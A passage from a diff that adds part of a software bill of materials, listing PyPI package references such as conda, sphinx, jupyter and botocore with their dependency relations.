+        "pkg:pypi/protego@0.1.16",
+        "pkg:pypi/pydispatcher@2.0.5",
+        "pkg:pypi/pyopenssl@23.2.0",
+        "pkg:pypi/queuelib@1.5.0",
+        "pkg:pypi/service-identity@18.1.0",
+        "pkg:pypi/setuptools@68.0.0",
+        "pkg:pypi/tldextract@3.2.0",
+        "pkg:pypi/twisted@22.10.0",
+        "pkg:pypi/w3lib@1.21.0",
+        "pkg:pypi/zope.interface@5.4.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/jeepney@0.7.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/secretstorage@latest",
+      "dependsOn": [
+        "pkg:pypi/cryptography@3.3.2",
+        "pkg:pypi/jeepney@0.7.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/send2trash@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sphinxcontrib-applehelp@1.0.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sphinxcontrib-devhelp@1.0.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sphinxcontrib-jsmath@1.0.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sphinxcontrib-htmlhelp@2.0.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sphinxcontrib-serializinghtml@1.1.5",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sphinxcontrib-qthelp@1.0.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jinja2@3.1.2",
+      "dependsOn": [
+        "pkg:pypi/markupsafe@2.1.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/markupsafe@2.1.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pygments@2.15.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/docutils@0.18.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/snowballstemmer@2.2.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/babel@2.11.0",
+      "dependsOn": [
+        "pkg:pypi/pytz@2023.3.post1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/pytz@2023.3.post1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/alabaster@0.7.12",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/imagesize@1.4.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sphinx@latest",
+      "dependsOn": [
+        "pkg:pypi/alabaster@0.7.12",
+        "pkg:pypi/babel@2.11.0",
+        "pkg:pypi/docutils@0.18.1",
+        "pkg:pypi/imagesize@1.4.1",
+        "pkg:pypi/jinja2@3.1.2",
+        "pkg:pypi/packaging@23.1",
+        "pkg:pypi/pygments@2.15.1",
+        "pkg:pypi/requests@2.19.1",
+        "pkg:pypi/snowballstemmer@2.2.0",
+        "pkg:pypi/sphinxcontrib-applehelp@1.0.2",
+        "pkg:pypi/sphinxcontrib-devhelp@1.0.2",
+        "pkg:pypi/sphinxcontrib-htmlhelp@2.0.0",
+        "pkg:pypi/sphinxcontrib-jsmath@1.0.1",
+        "pkg:pypi/sphinxcontrib-qthelp@1.0.3",
+        "pkg:pypi/sphinxcontrib-serializinghtml@1.1.5"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/tbb@0.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/unidecode@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/botocore@1.29.76",
+      "dependsOn": [
+        "pkg:pypi/jmespath@0.10.0",
+        "pkg:pypi/python-dateutil@2.8.2",
+        "pkg:pypi/urllib3@1.23"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/python-dateutil@2.8.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/aiohttp@3.8.5",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/wrapt@1.14.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/aioitertools@0.7.1",
+      "dependsOn": [
+        "pkg:pypi/typing-extensions@4.7.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/aiobotocore@latest",
+      "dependsOn": [
+        "pkg:pypi/aiohttp@3.8.5",
+        "pkg:pypi/aioitertools@0.7.1",
+        "pkg:pypi/botocore@1.29.76",
+        "pkg:pypi/wrapt@1.14.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/aiofiles@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/frozenlist@1.3.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/aiosignal@latest",
+      "dependsOn": [
+        "pkg:pypi/frozenlist@1.3.3"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/aiosqlite@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda@23.7.4",
+      "dependsOn": [
+        "pkg:pypi/boltons@23.0.0",
+        "pkg:pypi/conda-package-handling@2.2.0",
+        "pkg:pypi/jsonpatch@1.32",
+        "pkg:pypi/packaging@23.1",
+        "pkg:pypi/pluggy@1.0.0",
+        "pkg:pypi/pycosat@0.6.4",
+        "pkg:pypi/pyopenssl@23.2.0",
+        "pkg:pypi/requests@2.19.1",
+        "pkg:pypi/setuptools@68.0.0",
+        "pkg:pypi/toolz@0.12.0",
+        "pkg:pypi/tqdm@4.65.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/boltons@23.0.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-package-handling@2.2.0",
+      "dependsOn": [
+        "pkg:pypi/conda-package-streaming@0.9.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/conda-package-streaming@0.9.0",
+      "dependsOn": [
+        "pkg:pypi/requests@2.19.1",
+        "pkg:pypi/zstandard@0.19.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/zstandard@0.19.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jsonpatch@1.32",
+      "dependsOn": [
+        "pkg:pypi/jsonpointer@2.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/jsonpointer@2.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pluggy@1.0.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pycosat@0.6.4",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/toolz@0.12.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tqdm@4.65.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/anaconda-anon-usage@latest",
+      "dependsOn": [
+        "pkg:pypi/conda@23.7.4"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/intake@0.6.8",
+      "dependsOn": [
+        "pkg:pypi/appdirs@1.4.4",
+        "pkg:pypi/dask@2023.6.0",
+        "pkg:pypi/entrypoints@0.4",
+        "pkg:pypi/fsspec@2023.4.0",
+        "pkg:pypi/jinja2@3.1.2",
+        "pkg:pypi/msgpack@1.0.3",
+        "pkg:pypi/pyyaml@6.0",
+        "pkg:pypi/requests@2.19.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/appdirs@1.4.4",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/dask@2023.6.0",
+      "dependsOn": [
+        "pkg:pypi/click@8.1.7",
+        "pkg:pypi/cloudpickle@2.2.1",
+        "pkg:pypi/fsspec@2023.4.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/click@8.1.7",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/cloudpickle@2.2.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/fsspec@2023.4.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/entrypoints@0.4",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/msgpack@1.0.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyyaml@6.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/anaconda-catalogs@latest",
+      "dependsOn": [
+        "pkg:pypi/aiohttp@3.8.5",
+        "pkg:pypi/intake@0.6.8"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/keyring@23.13.1",
+      "dependsOn": [
+        "pkg:pypi/importlib-metadata@6.0.0",
+        "pkg:pypi/jaraco.classes@3.2.1",
+        "pkg:pypi/jeepney@0.7.1",
+        "pkg:pypi/secretstorage@3.3.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/jaraco.classes@3.2.1",
+      "dependsOn": [
+        "pkg:pypi/more-itertools@8.12.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/more-itertools@8.12.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/importlib-metadata@6.0.0",
+      "dependsOn": [
+        "pkg:pypi/zipp@3.11.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/zipp@3.11.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/secretstorage@3.3.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pkce@1.0.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pydantic@1.10.8",
+      "dependsOn": [
+        "pkg:pypi/typing-extensions@4.7.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/pyjwt@2.4.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/python-dotenv@0.21.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/anaconda-cloud-auth@latest",
+      "dependsOn": [
+        "pkg:pypi/cryptography@3.3.2",
+        "pkg:pypi/keyring@23.13.1",
+        "pkg:pypi/pkce@1.0.3",
+        "pkg:pypi/pydantic@1.10.8",
+        "pkg:pypi/pyjwt@2.4.0",
+        "pkg:pypi/python-dotenv@0.21.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/anaconda-navigator@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/anaconda-client@1.12.1",
+      "dependsOn": [
+        "pkg:pypi/clyent@1.2.2",
+        "pkg:pypi/conda-package-handling@2.2.0",
+        "pkg:pypi/defusedxml@0.7.1",
+        "pkg:pypi/nbformat@5.9.2",
+        "pkg:pypi/python-dateutil@2.8.2",
+        "pkg:pypi/pytz@2023.3.post1",
+        "pkg:pypi/pyyaml@6.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/clyent@1.2.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/defusedxml@0.7.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/nbformat@5.9.2",
+      "dependsOn": [
+        "pkg:pypi/fastjsonschema@2.16.2",
+        "pkg:pypi/jsonschema@4.17.3",
+        "pkg:pypi/jupyter-core@5.3.0",
+        "pkg:pypi/traitlets@5.7.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/fastjsonschema@2.16.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jsonschema@4.17.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-core@5.3.0",
+      "dependsOn": [
+        "pkg:pypi/platformdirs@3.10.0",
+        "pkg:pypi/traitlets@5.7.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/platformdirs@3.10.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/traitlets@5.7.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-pack@0.6.0",
+      "dependsOn": [
+        "pkg:pypi/setuptools@68.0.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/anaconda-project@latest",
+      "dependsOn": [
+        "pkg:pypi/anaconda-client@1.12.1",
+        "pkg:pypi/conda-pack@0.6.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/anyio@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/argon2-cffi@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/argon2-cffi-bindings@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/arrow@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/astroid@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/astropy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/asttokens@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/async-timeout@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/atomicwrites@1.4.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/autopep8@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/backcall@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/backports.functools-lru-cache@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/backports.tempfile@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/backports.weakref@1.0.post1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/bcrypt@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/beautifulsoup4@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/binaryornot@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/black@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/bleach@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/blinker@1.8.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/bokeh@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/boltons@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/brotlipy@0.7.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/certifi@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/cffi@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/charset-normalizer@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/cloudpickle@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/colorama@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/colorcet@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/comm@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-build@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-content-trust@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-index@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-libmamba-solver@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-package-streaming@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-repo-cli@1.0.75",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-token@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/conda-verify@3.4.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/contourpy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/cookiecutter@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/cycler@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/cytoolz@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/daal4py@2023.1.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/dask@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/datasets@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/datashader@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/datashape@0.5.4",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/debugpy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/decorator@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/diff-match-patch@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/dill@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/distributed@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/docstring-to-markdown@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/entrypoints@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/et-xmlfile@1.1.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/executing@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/fastjsonschema@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/filelock@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/flake8@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/flask@3.0.2",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/fonttools@4.25.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/fsspec@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/future@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/gensim@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/glob2@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/gmpy2@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/h5py@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/holoviews@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/huggingface-hub@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/hvplot@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/imagecodecs@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/imageio@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/imbalanced-learn@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/importlib-metadata@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/inflection@0.5.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/iniconfig@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/intervaltree@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ipykernel@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ipython@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ipython-genutils@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ipywidgets@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/isort@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/itsdangerous@2.2.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jaraco.classes@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jedi@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jellyfish@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jinja2-time@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jmespath@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/joblib@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/json5@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jsonpatch@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jsonschema@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-client@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-console@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-core@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-events@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-server@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-server-fileid@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-server-ydoc@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyter-ydoc@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyterlab@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyterlab-pygments@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyterlab-server@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jupyterlab-widgets@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/kaleido@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/kiwisolver@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/lazy-loader@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/lazy-object-proxy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/libarchive-c@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/libmambapy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/linkify-it-py@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/llvmlite@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/lmdb@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/locket@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/lz4@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/markdown-it-py@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/matplotlib@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/matplotlib-inline@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mccabe@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mdit-py-plugins@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mdurl@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mistune@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mkl-fft@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mkl-random@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mkl-service@2.4.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/more-itertools@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mpmath@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/msgpack@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/multidict@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/multipledispatch@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/multiprocess@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/munkres@1.1.4",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/mypy-extensions@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/navigator-updater@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/nbclassic@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/nbclient@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/nbconvert@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/nest-asyncio@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/networkx@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/nltk@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/notebook@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/notebook-shim@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/numba@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/numexpr@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/numpydoc@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/openpyxl@3.0.10",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pandas@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pandocfilters@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/panel@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/param@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/parso@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/partd@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pathlib@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pathspec@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/patsy@0.5.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pep8@1.7.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pexpect@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pickleshare@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pkginfo@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/platformdirs@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/plotly@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pluggy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ply@3.11",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/poyo@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/prometheus-client@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/prompt-toolkit@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/psutil@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ptyprocess@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pure-eval@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/py-cpuinfo@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyarrow@11.0.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyasn1@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pycodestyle@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pycosat@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pycparser@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyct@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pycurl@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pydocstyle@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyerfa@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyflakes@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pylint@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pylint-venv@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyls-spyder@0.4.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyodbc@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyparsing@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyrsistent@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pytest@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/python-json-logger@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/python-lsp-black@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/python-lsp-jsonrpc@1.0.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/python-lsp-server@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/python-slugify@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/python-snappy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pytoolconfig@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyviz-comms@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyxdg@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyzmq@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/qstylizer@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/qtconsole@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/regex@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/requests-file@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/requests-toolbelt@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/responses@latest",
